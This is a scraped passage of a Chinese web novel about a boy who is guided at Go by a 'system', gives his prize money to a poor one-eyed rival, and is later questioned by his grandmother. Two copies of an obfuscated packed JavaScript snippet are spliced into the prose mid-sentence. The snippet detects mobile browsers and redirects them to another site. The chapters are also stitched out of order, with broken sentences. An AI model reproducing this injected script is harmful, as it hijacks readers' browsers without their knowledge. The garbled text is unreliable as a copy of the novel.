赵信被他这声称呼弄的新奇极了,这还是这小子第一次对他用尊称呢! 该不会有诈吧? 真要还他钱了? 那他的计划怎么办? 26.第 26 章 一行几人,都坐上了车,赵信仅仅花了十多分钟的时间就将车开到了汽车站。 “纪辰新,你来这做什么?” “对啊,你说你要找人,找什么人?” 赵言权和肖椿俩人轮番提问。 纪辰新回答,只是让他们待在车里,说自己下去找。 苏陌提出同行,也被纪辰新拒绝了。 赵信倒没要求什么,只是道,“我们在这等你,你速去速回。” 就这样,纪辰新一个人下了车。 这个汽车站是新建的,大概也才完工三年左右,仔细看非常有现代气息,毕竟一个站建成后,矗立几十上百年都不是问题。 纪辰新在外围找了一圈,没见到熟悉的身影,便跑进了站内。 站内的空间非常大,有不少拖着行李在地上睡觉,以及安安静静坐在椅子上候车的人 。 纪辰新转了一圈,发现人实在太多,只能慢慢寻找。 【系统,你说他们会在这里吗?】 系统:【抱歉宿主,这个我也不知。】 得不到帮助,纪辰新微微叹了口气,便又自己找了起来。 这边,厕所门口,刚洗完手的胡浪,仰面就碰上了刘弯。 胡浪见他有点眼熟,便多看了两眼,哪曾想对面这人直接喊出了他的名字。 “胡浪,黎上金没跟你一起吗?” 闻言,胡浪上下打量他,他记得今早赛前,这个胡浪是跟黎上金一同来赛场的,一看就关系匪浅。 刘弯自被纪辰新淘汰后,便去收集了所有参加积分赛人员的名单以及资料。 其中黎上金对他的威胁是最大的,同时也是最穷。 既如此,便只能成为他的踏脚石了。 只要他能成功进入省赛,那袁仁还有什么理由拒绝收他为关门弟子。 胡浪明显讶异:“你认识我?” 刘弯推了下眼镜,“今天的市赛,我同样是选手。” “噢,这样啊...”胡浪对他还是没印象,他今天所有的注意力全在纪辰新身上了。 与此同时,纪辰新终于在一个角落找到了黎上金,至于为什么没见到胡浪,他并不在意。 “黎上金!”纪辰新三两步便走到了他面前。 黎上金依旧戴着他的鸭舌帽,他听到声音微微抬头,黑色的布料遮住了他一只眼,但并不影响他用另一只眼视物。 “纪辰新?你...怎么来了?”黎上金神色诧异。 纪辰新凑近,随后蹲下,低声道,“刘弯找你了没?” 黎上金神色迷茫,“谁?” 看来是还没找,纪辰新顿时放下心来。 “这里不方便说话,我找你有点事。” 他这样说,黎上金低头看了眼手上的票,还有半个小时才发车,来得及。 “好,去哪?” 就这样,纪辰新将黎上金带离了汽车站,随后在站外广场一棵偏远的树下站定。 黎上金一直跟在他身后,什么也不问。 纪辰新环伺了一圈见这里人稀少,更没人注意他们后,便从兜里拿出了那个信封。 “这里是两千块钱。”他提前抽了五百出来,信封里便只剩两千了。 黎上金心下微惊,不明白他什么意思,“你要做什么?” “做什么?市赛我拿了第一,奖品是彩电,我卖了。”纪辰新直言道,“这钱你拿着,我知道你需要。” 他不是什么做好事不留名的人,该是怎样就怎样。 黎上金显然被他这举动震惊到哑然,他是缺钱,但纪辰新怎么会知道,甚至还将奖品卖了换钱给他? 纪辰新知道他很疑惑,便解释,“中午红房子,你和胡浪的对话我都听到了。” “还有,估计这两天会有个叫刘弯的人来找你,他想用钱贿赂你,让你积分赛输给他。” “但赛场何其严格,一不小心就会被发现,若是被发现这辈子你怕是再也下不了棋了。” 说到这,黎上金唯一的右眼神色惊惧,“这些你如何知道?” 纪辰新嘁了一声,“刘弯今天跟我比赛时就企图贿赂,但被我拒绝了,之后他便报名了积分赛。” “对了,他的手法很厉害,能不引人注意的偷棋甚至换子,我今天都差点着了他的道。” 黎上金听到这,眉头紧蹙,不论是谁,对弈时都讨厌这种作弊的行为。 他不认识这个刘弯,但听纪辰新的描述,心里对此人的印象已然不好了。 纪辰新将信封塞在他手中,“拿着吧。” 黎上金不肯收,他确实急缺钱,但这钱他凭什么拿,“你为什么要帮我。” “怕你误入歧途罢了。”纪辰新睨着他,“而且我看不得刘弯那样的人赢。” 其实,还有更深层次的原因,但他没说。 “这笔钱应该可以好好治你奶奶的手了,你若是不要,我就收回去。” 纪辰新就这样看着他,“我言尽于此,你自己看着办。” 他没有强迫他接下,他给黎上金时间想清楚利弊关系,他这么聪明,绝对能想通的。 沉默与思量在俩人之间蔓延,两千块钱近在咫尺,只要拿了就能解燃眉之急,这是笔救命钱。 稍一想起奶奶每日每夜疼的辗转反侧,他便说不出拒绝的话了,仿佛被人扼住了七寸... 最终,黎上金不出所望收下了。 他很想说等以后赚到钱了还,但糯了糯唇,愣是做不出承诺,没钱没本事的他,都不知道什么时候能赚到这么多钱。 纪辰新不清楚他心里的小九九,但明白一个叫自尊的东西,这也是他不让苏陌跟过来的原因,谁愿意被人看到自己难堪的样子,特别是穷人的自尊,既窘迫又坚韧执拗,不可轻易折辱。 “这钱算我自愿赠与你的,不用还,我只有一个要求,积分赛全力以赴,打败刘弯,阻止他晋级。” 年仅12岁的黎上金还是个未成年,母亲智障,奶奶操劳,他自己还缺了一只眼,谈什么偿还,能活下去就不错了。 “好,我知道了。”黎上金低着头,捏着信封的手发紧,指骨泛白。 纪辰新心里微松了口气,收下就好,这钱虽不能让他大富大贵,但却能改变他的命运,或许以后能在围棋这条道路上走的更远也说不定呢。 “那行,祝你好运。”说着,纪辰新便摆摆手走了,远远留下一句,“记住了,别中刘弯的圈套。” 黎上金深深注视着他的背影,独眼里无法自控地凝聚了一丝柔和。 * 车站里,胡浪带着刘弯去见黎上金,结果扑了一场空。 “咦,阿金去哪了,刚刚还在这的。” “没事,他应该走不远的,等下就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16111393|179311||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要发车了。” 胡浪就地等了起来,“对了,你找阿金到底干嘛?” 刘弯推了推眼镜,“自然是有要事找他。” 积分赛的报名人员里面其实也有胡浪的名字,但刘弯看过胡浪的棋,对自己造不成威胁。 既如此,他对胡浪就没那么多的耐心了。 俩人大概在原地等了十分钟左右,终于将黎上金盼了回来。 “阿金,你去哪了?”胡浪见到人立即起身,抻着脖子问。 黎上金淡淡点了下头,“出去转了一圈。” 说罢,他的视线瞥了眼胡浪身边的人,还不待他说什么,刘弯便自我介绍道,“黎上金你好,我叫刘弯,跟你们一样,都是今天参加了市赛的选手。” 黎上金霎一听到刘弯两字,陡然提起了十二万分的精神提防他,目光隐含了警惕。 刘弯上前一步与套近乎,“我听说你也报名了积分赛?” 话落,黎上金本就提防的神色,更加警惕了。 刘弯见他不搭理自己,一时表情有些难看。 还不待他说什么,黎上金便下了逐客令,转身道,“阿浪,我们该走了,快发车了。” 胡浪懵懂地看着俩人,而刘弯听到他要走,便也顾不了那么多了,“黎上金,我有个交易想和你谈谈!” 提到这个,黎上金脚步略停,只见他右眼锋芒毕露。 纪辰新办完这事后,满意的摸了摸兜里的五百块钱,这是他从信封里抽出来的。 系统:【还以为你会全部给黎上金呢。】 纪辰新微挑眉,理所当然道,【给他两千已经足够他治他奶奶的手了,甚至还有余钱,而我,这一天下来就算没有功劳也有苦劳吧,我拿点工钱怎么了。】 他哼着曲儿,已经想好今晚就偷溜进奶奶房间,把这五百塞奶奶枕头底下。 老太太每天这么辛苦,他能分担一点是一点。 * 车站外车里,赵言权握了个PSP在玩,一旁的肖椿在写作业,他是放了学碰到苏陌,便要求着一起跟过来的,但等会儿回去还得做饭,所以就抓紧把作业都写完。 苏陌此刻从车里出去了,他虽是与赵信他们一辆车过来的,但他的司机其实一直跟在左右。 等回到了自家车上,苏陌便自顾自摆起了棋盘,进行打谱训练。 然而,他刚准备好一切,司机却惊疑了一声,“小少爷,那个是你朋友吗?” 苏陌不明所以抬头,随后顺着司机指的方向透过车窗望了过去。 他们这辆车停的位置虽然远离车站前门,但角度恰好,而司机指的那人居然是纪辰新。 只见纪辰新站在一棵树前,而他对面是一个头戴着鸭舌帽的男孩。 不知道俩人说了什么,纪辰新突然从兜里掏出什么递了过去,而那个东西看着很是眼熟,信封? 苏陌过目不忘,他眯了眯眼睛,想起纪辰新说自己把奖品卖了2500,就装在那个信封里。 所以,他卖彩电是为了这个人? 2500就这么给了别人了? 苏陌抿了下唇,略略稚气的脸庞,神色看起来不怎么好,2500对他来说不算什么钱,但他知道对纪辰新一定是一笔巨款。 财迷如纪辰新,你究竟为什么要这么做? 这个人又是谁,何以让你如此.... 27.第 27 章 纪辰新回到车内时,赵言权顺势放下了PSP,“你要找的人找到了吗?” 赵信则发动引擎,“时间有些晚了,我先送你们回去。” 纪辰新朝赵言权点头,“嗯,找到了。” 转而他环顾了一圈,发现没见到苏陌,正想说什么,车门突然被拉开,苏陌就站在外面,他清冷的瞳孔定定注视着他,“我有步棋想与你讨论一下。” 纪辰新瞥了眼不远处的黑色保姆车,想到自己的承诺,便同意了,“赵叔,我坐苏陌的车回去,肖椿就麻烦你了。” 赵信的视线从后视镜里看他,“好。” 纪辰新就这样跟着苏陌来到了他的车上,后座果然已经摆好了棋局,他没多想,问道,“哪一步?” 苏陌唇线崩着,他让司机开车,然后目光才幽幽落到纪辰脸上,“你卖彩电的钱呢?” 问的猝不及防。 纪辰新手指微蜷,心下一抖,“怎么了?” “我都看到了。”苏陌抱着手臂,眯着眼瞅他,“大树下,鸭舌帽男孩,你的信封。” !!! 纪辰新神色惊骇,都不知道他从哪看到的,明明他选的那地方很偏僻来着。 苏陌观察他的神色,小脸似有不满,“还不承认?” “呼~”纪辰新慢悠悠吐出口气,“有什么不承认的,事实就是你看到的那样。” “不过,这是我的事,你看到就看到了,怎么还刨根问底?” 苏陌一时哑然,问都不能问?什么人?还需要这么保密? 他说的毫不在意,心却提了起来,“那钱应该对你很重要,你就这么随随便便给别人,我单纯好奇罢了。” 纪辰新从兜里掏出自己特意留下的钱,“重要是重要,但要看跟什么比了,还剩500,已经足够了。” 他话里话外并未解释什么,苏陌只听到了“重要”两字。 所以,那鸭舌帽男孩对纪辰新很重要? “谁啊?我认识吗?”苏陌不由挂了脸,语气不善。 纪辰新撇了瞥嘴,“市赛的选手,你怎么会认识。” 市赛的选手,那岂不是今天才认识? 这才认识多久,就卖彩电换钱给别人? 听到这些,苏陌脸色更难看了,他抿着唇一言不发。 纪辰新不知道他怎么突然就不说话了,但实实在在感觉到周围的气压乍然降低了下来,他试探道,“你不是说有步棋要讨论吗,到底哪一步?” 苏陌冷冷看着他,同时心里堵了口气,极力压制着,眼不见为净的闭了眼。 纪辰新当场宕机,【系统,怎么回事,他把我叫过来下棋,怎么还生上气了?】 系统合理猜测,【额,或许是你没好好回答他的问题?】 没好好回答他的问题? 纪辰新自顾自琢磨着。 苏陌闭上眼,渐渐地冷静了下来,他不知道自己气什么,但只要一看到纪辰新丝毫没想解释的样子,他就异常堵的慌。 友情似乎有占有欲,而他对于纪辰新而言或许连这个新认识的人都比不上。 意识到这,苏陌周身气压更低了。 纪辰新还在琢磨,“你生气了?” “因为我没告诉你那人是谁?” 苏陌眼皮微跳,虽然被戳中心思,但还是没睁眼也没说话。 纪辰新继续道,“我不能告诉你他的名字,他有困难,这钱是我自愿给他的,帮他度过难关而已。” 他递了台阶,就看苏陌下不下了。 听到解释,苏陌终于睁开了眼,他狐疑道,“他是你朋友?” 纪辰新摇头,“不是,不过这钱能救他命。” “救他命?”苏陌更加不解了。 纪辰新点头,这钱能改变黎上金今后的命运,那不就等同于救命吗。 “但你说他很重要?”苏陌问出最在意的点。 纪辰新愣了愣,他什么时候说这话了? 苏陌看他迷茫的神色意识到很大可能是自己误会了,或许纪辰新的意思是两千块钱救一个人的命比两千块钱本身要更重要。 “倒是你,为什么生气?”这下,轮到纪辰新质疑了。 苏陌神色变了变,掩饰道,“我是怕你被人骗了。” 纪辰新蹙眉看他,“是吗?” 苏陌垂下眸,视线落到了棋盘上,避重就轻道,“两千对你来说不是小数目,你若是被骗,肯定会着急。” “所以,你在担心我?”纪辰新望着他,突然笑了,“苏陌,我发现你这人有时候真的很口是心非。” 苏陌偏过头去不看他,衣领遮住的耳尖却微微红了。 纪辰新背靠着座椅,放松地谓叹,“累一天了,既然你没有棋局要讨论,那我想睡一觉,到了喊我。” “好。”小小少年似有若无地回过视线,眸光深邃又晦暗。 * 天完全黑掉后,纪辰新才堪堪到家,李春兰早已做好了晚饭在等,而纪辰新早就想好了晚归的借口,“就...一不小心又被老师留校了。” “肖椿也一起?”老太太不太相信,“我记得椿小子从来没有留校过。” 老太太都有点怀疑是近朱者赤近墨者黑了,肖椿莫不是被自己孙儿带坏了,真是造孽。 纪辰新不知道老太太想些什么,他今天累惨了,即便在苏陌车上睡了半小时,但此刻吃饭都困得不行。 老太太拿筷子敲了敲他的头,“脸都要睡碗里了。” 纪辰新扒了几口饭,然后打了个哈欠,“奶奶我不吃了,我洗个澡就去睡觉。” 老太太早就烧好了热水,她默默怜爱地看着孙子,欲言又止道:“小新,奶奶不祈求你要考多好,学习上要是太累了,咱就少学点。” 她以为孙儿累成这样是因为学习,纪辰新听到这话微微提起了点精神,他笑了笑,“嗯,知道啦,奶奶最好了。” 这晚,纪辰新不到八点就睡了,这是他睡的最沉的一个晚上。 一直到第二天早上醒来,他才想起昨晚忘记了什么。 他忘记了昨晚换下的裤子! 那500块钱还在里面! 他本来是打算昨晚藏奶奶枕头底下的! 纪辰新一脸焦急地从房间冲了出来,而令他最不想看到的一幕,就这样出现在了眼前。 被洗的裤子,还有因浸水而湿透的五张百元大钞就这样晾在了客厅。 而本该去赶集的老太太此刻正坐在门槛处,一脸沉寂。 纪辰新心里“咯噔”一声,他糯了糯唇,“奶奶?” 老太太陡然睁开了早已浑浊的双眼,里面透出严厉的光泽,“小新,你跟奶奶老实说,这钱哪来的?” 李春兰盯着孙子,脸色似蒙着一层化不开的霜,这可是500块钱,是她省吃俭用做针线活一两个月才能存到的钱,小新是从哪得到的这些钱呢? 她检查过了,家里的钱并没有少,那这钱就是从外面得来的。 联想到他昨晚回的晚,老太太不愿去想孙儿是不是做了偷鸡摸狗的事。 但小新是她从小带到大的,什么品行她清楚。 纪辰新咬着唇,吐出一口气,轻声道:“奶奶这是我挣来的。” 老太太一脸痛色,“谁教的你撒谎?” “我没撒谎,这真是我挣来的,其实我昨天没有被老师留校,我也没去学校。”纪辰新抓了一把头发,急切道。 李春兰眉头皱成了川字,语气惊骇:“你还逃课了?” 纪辰新稳住她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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王婶还在叽叽喳喳,“你的彩电在哪?让王婶瞧瞧市里奖励的彩电有什么不同。” 彩电? 老太太眼皮一跳,目光不由再次看向了孙儿,看来这臭小子还有事情瞒着她,她的视线偏了偏,又落到了那还在滴水的五百块钱上。 所以,彩电没了,变成了500块钱? 纪辰新心虚地摸了摸鼻子,“那个...快迟到了,我得去上学了。” “我没记错的话,今天周六。”老太太无情拆穿。 “是嘛,哈哈。”纪辰新无奈扶额,“...关于彩电...我可以解释的。” * 当纪辰新把事情的来龙去脉简单述说完后,一向能说会道的王婶都缄默了。 空气就像被冻住的冰块,纪辰新的呼吸都带了点滞涩,他看着奶奶,乖巧道,“奶奶,你觉得我做错了吗?” 老太太静静坐着,好一会儿才叹气道,“你做的没错,但不该什么都瞒着奶奶,难道你是觉得奶奶会阻拦你?” “你宁愿欺骗奶奶,也要逃课去围棋赛,得了奖品也不说,就连那500块钱要不是我给你洗裤子,怕是也发现不了....” “你什么都瞒着我,若是在外面出了什么事,你让奶奶怎么办?” “这一个多月以来你变了好多,我都看在眼里,但我不知道你居然会变得这么大胆且有主见,你大胆到逃课,有主见到变卖奖品帮助刚认识的人,你做什么事都将奶奶排除在外,不让奶奶知道,你以前明明不这样的。” 你以前明明不这样的! 毫无预兆的一句话,突然将纪辰新的脑袋砸出了一片空白。 20-30 第21章 刹那间。 空气死寂般的凝滞, 所有人的动作或是声音都被面前这一幕震惊到戛然而止。 不难看出大家脸上的错愕,沉默在此刻震耳欲聋。 最先反应过来的是主裁判,他满头黑线的将纪辰新拎小鸡仔似的拎了下来, “7号纪辰新,知道你激动,但请不要这么激动,你低头瞅瞅,我的茶杯都差点被你踢翻了!” “做人还是低调点比较好,不然小心拉仇恨!” 这话倒不假, 之前本就嘲笑纪辰新的缺牙小寸头, 此刻单看表情就已经很不爽了。 纪辰新扯了扯衣角, 撇撇嘴,微脏,“咳咳, 各位, 你们加油比, 我就先去休息了。” 小寸头依旧没忍住, 嘲讽道, “狗屎运罢了,侥幸撑过第一轮, 第二轮照样淘汰!” 纪辰新顿时回头, 阴阳道, “某些人啊,第一轮都不知道能不能撑过去呢,再说了,狗屎运怎么了,某人怕是连狗屎都吃不到!” 话糙理不糙, 这一波嘲讽,伤害直接拉满! 小寸头都快气死了,“纪辰新是吧,你给我等着,我胡浪今日必淘汰你,说到做到!” 纪辰新欠揍一笑,“啧啧啧,小爷我等着呢,希望第二轮比赛还能见到你!” 胡浪瞅着他那狂妄的背影,不甘地使劲跺了跺脚,哪知纪辰新背后像是装了眼睛似的精准回头,看到他气急败坏的样子,然后得意的吐着舌头,做鬼脸,“略略略略~” 他那表情就像在说,‘你能拿我怎么样?’ 啊啊啊啊啊啊,胡浪这下气的更狠了! 系统无奈:【宿主,你幼不幼稚啊?】 纪辰新上瘾玩上了,【略略略略略~】 系统沉默了好一会儿,突然,【/(ㄒoㄒ)/~~】 无人知晓的空间,一人一统正在进行诡异的交流 四十分钟转眼过去,纪辰新在休息室人都躺麻了。 当他听到人群细簌嘈杂的声音时,出去就发现参赛选手已经淘汰了一半。 “纪辰新,让你失望了,我还在!”胡浪像个鬼一样,突然出现在他身旁。 他咧着嘴一脸得意,“下一轮你可没有这么好的运气了。” 纪辰新来了兴趣,勾唇道,“是吗,那我们就等着瞧,。” “哼。”胡浪下巴扬起,倨傲非常。 赛后有二十分钟的休息时间,这一来二去,纪辰新休息了差不多一个小时,总算把昨晚和今早的觉都补足了。 第二轮开始时,纪辰新狠狠伸了伸懒腰,不远处的裁判长依照流程再次当面对着投影仪喊了停。 然而,令小寸头胡浪失望的是,第二轮他并没匹配到纪辰新。 不过很快他的眼神又亮了起来,阿金居然匹配到了,“阿金,你等下千万别手下留情,一定要杀他个片甲不留!” 黎上金戴了顶鸭舌帽,帽檐盖住了他的眉眼,看不到表情。 倒是胡浪一个劲挑衅道,“纪辰新,你完了,你对上阿金了,我们阿金可是打遍十里八乡无敌手的存在!” 十里八乡? 阿金? 谁啊? 纪辰新一脸问号,却也根本没放在眼里,难道再厉害还能厉害的过苏陌? 系统:【那自然是不能。】 见纪辰新还是一副不在意的模样,胡浪抓耳挠腮的浑身不得劲,“你难道不知道黎上金吗,你没听说过他的战绩?” 纪辰新朝他翻了个白眼,然后举手,“裁判,可以让他闭嘴吧,他太吵了,影响到我的状态了。” 主裁判是一个四十多岁的中年男人,哪怕只是安静坐着,但透着一股自带的威严。 只见他眉头微蹙,眼神像淬了冰,冷神道,“肃静!若有扰乱别人比赛的,一律扣除二十积分!” 这话一出,非常有警示的作用。 胡浪没想到纪辰新居然拿裁判对付他,一时张嘴也不是,不张嘴也不是。 积分是很重要的,每个人初始积分为0,每赢一场加10,所以即便没拿到前一二名,其他淘汰人员若想要参加省赛还可以通过参加积分赛获取进入省赛的名额。 有了裁判的恐吓,耳边终于清净了。 第二轮比赛也终于正式开始了。 纪辰新按序入座,大概过了一分钟,胡浪口中那个被吹的天花乱坠的黎上金,依旧戴着鸭舌帽,只见他不轻不慢地走过来,然后不言不语的坐在了纪辰新的对面。 他帽檐压的极低,只能看到下巴略略清晰的轮廓,12岁的少年,下颌角初具雏形的线条绷的紧紧的。 纪辰新内心不由吐出几个字:这也太装逼了吧! 【系统,比赛还能戴帽子的?】 系统:【可以啊,只要不作弊,奇装异服都接受,满足个人习惯。】 纪辰新:【】 主裁判在宣布比赛开始后,黎上金从棋盘里抓了几颗棋子,这便是要猜先了。 纪辰新随意拎出一颗棋子丢在了棋盘上,他这无理的态度却也没引得对面的黎上金有丝毫的波动,甚至都没抬眼。 纪辰新不由觉得没劲,【这不会比完,我都不知道他长啥样吧。】 系统:【额不好说。】 黎上金将手中的棋子摊开,是双。 纪辰新做出“请”的姿势,黎上金执黑先行。 然而下一秒,一颗黑棋直直落在了棋盘的最中心,天元! 纪辰新愣了愣,这还是他接触围棋以来,有人上来就这样开局的。 系统:【看来他对自己的实力有绝对的自信啊。】 纪辰新:【怎么说?】 系统:【天元在围棋中占据重要地位,但也需要极强的中腹掌控力,一旦玩脱了,就会迅速败北。】 纪辰新:【啧,我就说他装逼吧!】 黎上金落完子就按下了计时器,等纪辰新应对。 系统:【没事,咱们先把角部占了。】 这下,不用系统说,纪辰新就自己落子了,几个角他还是知道的。 轮到黎上金时,他也抢了一个角。 于是,纪辰新再抢一个角,黎上金又抢一个。 纪辰新:【总感觉他下棋有套路。】 系统:【你猜的没错,他是想以天元为中心,兼顾角边,然后再以中部势力对你进行绞杀。】 纪辰新悟了,【但我们一开始就没上他的当,既不攻他的天元,又抢占了边角。】 系统:【其实只猜对了一部分,其一,他想引你攻击他的天元子,然后忽视角边,最后他来抢占。其二,若你不攻击,他便跟你抢占角边,最后以天元作为中转站,与这些棋子搭线,反过来压缩你的边角空间。其三,等他搭完线,在中腹发生战斗时,他的天元子能快速支援,最后切断你棋子之间的联络。】 纪辰新感觉自己要长脑子了,他头脑风暴了一会儿,举一反三道,【反正我们已经抢了几个角了,他再想构建中腹势力,咱们就围追堵截,让他的天元子孤立无援,最后让他所有的计划或是后招都报废!】 系统顿了顿,【是这样没错!】 纪辰新唇角一勾:【我好像知道下一步该下哪了。】 说罢,没待系统开口,纪辰新便开始抢边,他看着右上角星位和天元之间的距离,然后在边部落子,切断了它们的联系。 他这一步下的,连系统都挑不出错。 纪辰新按下了计时器,【嘿嘿,他的计谋已经被我看穿,看他怎么办。】 系统沉默了,它知道宿主只看过一本二手的围棋入门书,更多的也就是,平常跟人对决时,它时不时给他讲解的一些知识点。 但它没想到,在这种东拼西凑的情况下,宿主竟有种无师自通的恐怖感。 然而,纪辰新下了几步之后就原形毕露了,【快,后面该怎么下?】 系统左顾而言他,甚至有些兴奋,【宿主,你在围棋上其实是有天赋的,甚至可能不比苏陌差,你要不要试试自己下?】 纪辰新瞪大了眼睛,惊愕开口,【我自己下?你在开什么玩笑?想让我淘汰请直说!】 系统劝:【怎么会,你刚刚下的那几子是正确的。】 【你也说是刚刚了,那是我灵光一闪,我现在已经不知道如何下了。】纪辰新非常自觉。 系统恍然,思索了片刻道,【那看来是缺少掌控全局的能力。】 【没事,只要你之后好好学,坚持训练,慢慢提高棋力,一定能成的!】 纪辰新想都没想就拒绝了,【算了吧,不是有你在吗,况且我又不喜欢下棋,你别搞我!】 黎上金见对面思索良久,不由轻微抬了下帽檐,只见对面的男孩脸庞婴儿肥尚未完全消散,下巴带着孩童特有的圆润,他抿着唇,眼神似在放空,不知道神游到哪里去了。 他轻咳了一声,手指在桌上叩了两下。 其实他可以不提醒的,若是对方在规定时间内超时,后面很可能被判负。 但这小家伙几次三番打断他的计划,还长的这么可爱,实在是出人意料,他还想再陪他玩会儿。 纪辰新被对面弄出的声响抽回了思绪。 系统也没再劝他,专注棋盘道,【五之二。】 纪辰新捏着棋子便落了下去。 几息之后,黎上金便痛苦面具上身了,他想收回陪纪辰新再玩会儿的脑残想法,这小孩明明看起来比他都小,但下起棋来心狠手辣,步步紧逼,快要让他完全没活路了。 纪辰新淡淡扫视棋局,下一秒棋子便在他脑海自成一张网,他好像只要略微思索,便能觉察出每一步的思路,甚至能推演一到两步的落子。 他不愿承认自己有围棋方面的天赋,只是突然想印证一下系统的说法罢了。 任务而已,能顺利完成就行,没必要这么努力不是吗? 他撑着下巴,有一下没一下地把玩着手腕上的珠子,语气漫不经心,“别白费力气了,你已经输了。” 帽檐遮住了黎上金的眉眼,目光直视过去只能看到他紧咬着唇似在做最后的挣扎。 “我没输!” 说罢,他又落了一子。 纪辰新微微挑眉,随后伸手点在了一处位置,“你还不如下在这呢,如此还能与我周璇一二。” 黎上金神色大震,久久凝视棋盘,下巴微微抖动。 他终于正视了这个事实,他输了,没有任何侥幸,实打实的输给了这个小他两岁的小孩。 纪辰新既疏离又礼貌,“承让了。” 巡回裁判过来记录了胜负,“纪辰新中盘胜。” 黎上金牢牢坐在位置上,没有要离开是意思,他为这次的市赛准备了很久很久,此刻别说前三了,居然中途就淘汰了,一时之间难以接受。 巡回裁判提醒道,“59号黎上金,你可以离开赛场了。” 黎上金突然抬头,“积分赛是什么时候?” 帽檐下的脸终于漏了出来,纪辰新就在他对面,猝不及防地望了过去。 然,他瞳孔微颤了一瞬,便移开了视线。 因为,黎上金是独眼。 “后天。”巡回裁判回答他。 “好。”黎上金扯动脸上的皮笑了下,一丝苦涩似有若无地萦绕在他的右眼中。 系统:【终于搜到了,黎上金,原书里面短暂出现过的角色,他的左眼是在他五岁的时候,被人贩子拐走时挣扎抵抗伤到的,也是因为伤了眼睛,后来转让不出去,人贩子就对他没那么上心了,最后是他自己侥幸逃出来的。】 【他这次来参赛跟宿主你最开始的初衷是一样的,他想拿到第三名的800奖金,他被拐的那一年,本就积劳成疾的父亲,悲伤过度,去世了。】 【现在家里就剩一个有些智障的母亲和一个身体不太好的奶奶。】 【他为了这次的比赛,没日没夜的练习了很久。】 【看来现在市赛泡汤了,他还想通过积分赛试试省赛呢,毕竟只要进入了省半决赛,即便没有拿到名次,也有200的安慰奖金。】 【咦,不对,怎么会?这不是全部的内容,我再搜搜看。】 纪辰新沉默着,没说话。 系统似有所感:【宿主,你在可怜他?】 纪辰新不带感情的否认,【可怜?我有什么资格可怜他?】 系统顿了顿,直言道,【你的情绪出现了波动。】 【或许你也看出来了,他的实力若不是现在碰到你,说不定真能如愿夺得市第三名。】 【你在懊恼自己赢的名不副实!】 纪辰新嘴角略带嘲意,【你以为你很了解我吗?】 【我怎么会懊恼,是他自己技不如人,怪不得我。】 系统纠正:【他是技不如电脑,不是不如你!】 霎时,纪辰新语气玩味,【系统,你不能既要又要吧,任务我接了,棋也都是按照你的提示下的,你还有什么不满足?】 与此同时,胡浪赢完对局得意忘形地跑了过来,欠揍道,“纪辰新你脸色这么难看,输给阿金了是不是,我就知道,哈哈哈哈!” 他几乎笃定自己的猜想,越说越来劲,“真是老天有眼啊,让你嚣张,这下翻车了吧!” 纪辰新本来就烦,出口成章,“滚!” 胡浪被他一激,直接就怒了,正要跟他讨教讨教,黎上金顿时起身,“是我输了,阿浪,别挑衅了,即便是你也赢不了他的。” “什么?”胡浪脑子差点炸了,他不愿相信,“你?黎上金?输了?” 巡回裁判严肃阻止,“26号胡浪,声音小点,你打扰到其他人比赛了。” “黎上金,你想参加积分赛的话,出去直走到底的红房子那里可以报名。” 巡回裁判都这么说了,胡浪再不相信此刻也不得不信了。 纪辰新欣赏着他傻掉的表情,上前一步,笑的散漫又恶劣,“胡浪!你现在该祈祷了,祈祷下一轮千万别碰到我!” 他的笑意蔓延,充斥着整张脸,尾音裹着戏谑,像根小刺似的,不痛不痒,却偏扎的人心里发堵!—— 作者有话说:喜欢就收藏一下吧~ 这几天住院了,隔日更,苟收藏中,V后日更。 预收《我靠算命火爆全球》求收藏~ 【本文文案】: 喻嘉,一个普通人,失业后马不停蹄加入了啃老大军。 然而还没开始啃,就被父母告知,他家世代修仙,而今功德圆满即将飞升。 当晚他们就飞走了… 一向淡定的喻嘉,真的破防了:“喂!你们走了,家里房贷谁还啊!” 普通人喻嘉发现自己好像并不普通。 与此同时,万象直播平台出现了一个算命直播间,起初,并未引起人注意。 有人抱着试试的心态点了进去。 “大师,我女儿高考复读两次了,这次到底能不能顺利上岸?” “高考先放一边,你女儿已经偷摸领证,肚子里孩子都三月了。” “大师,我老公每天早出晚归,一问就是公司加班,能信吗?” “赶紧离,他早出轨了,刚还查出了艾滋病。” “大师,我儿子被拐十五年了,还能找到吗?” “八十里外清河村,姓李的人家,你去看看。” 喻嘉的直播间爆火了,每晚数以千万的人在他直播间蹲守,而他也从岌岌无名,变为了受世人追捧的神算子! 久而久之,喻嘉不堪其扰,当即立下规定:一天一卦,一卦三万! 结果,找喻嘉的人不降反增。 世界首富、各国大佬、商界精英、新晋顶流、神秘官方… 他们捧着钱,一箱一箱的送过来,求着他收! 第22章 第二轮比完后, 纪辰新去到了休息室阖眼闭目。 至于那个叫胡浪的,终于不上蹿下跳了,他看着似乎受到了打击, 独自呆在一个角落蜷缩着。 临近第三轮比赛时,突然听见有人大喊。 “有人晕倒了,快来人啊!” 系统先他一步反应,【宿主,是那个叫胡浪的。】 纪辰新蹙眉睁眼,有被打扰的不悦, 很快他的眸光就瞥向了不远处失去了意识的人。 紧接着他便起身移步走了过去, 此刻胡浪的四周陆陆续续围了一圈人过来。 纪辰新挤进人群, 映入眼帘的就是胡狼紧闭双眼,脸色苍白,细看之下, 额头冒着冷汗, 四肢还不自主的抽动着。 这种症状 很像低血糖! 他经历过, 所以一眼便瞧出来了。 工作人员也第一时间赶到, 探查一番, 一时不好做决定。 “这” “这要喊医护人员来。” 另一个工作人员看这情况不对,立马跑去了隔壁找医护, 大型比赛都是有配备医护人员的, 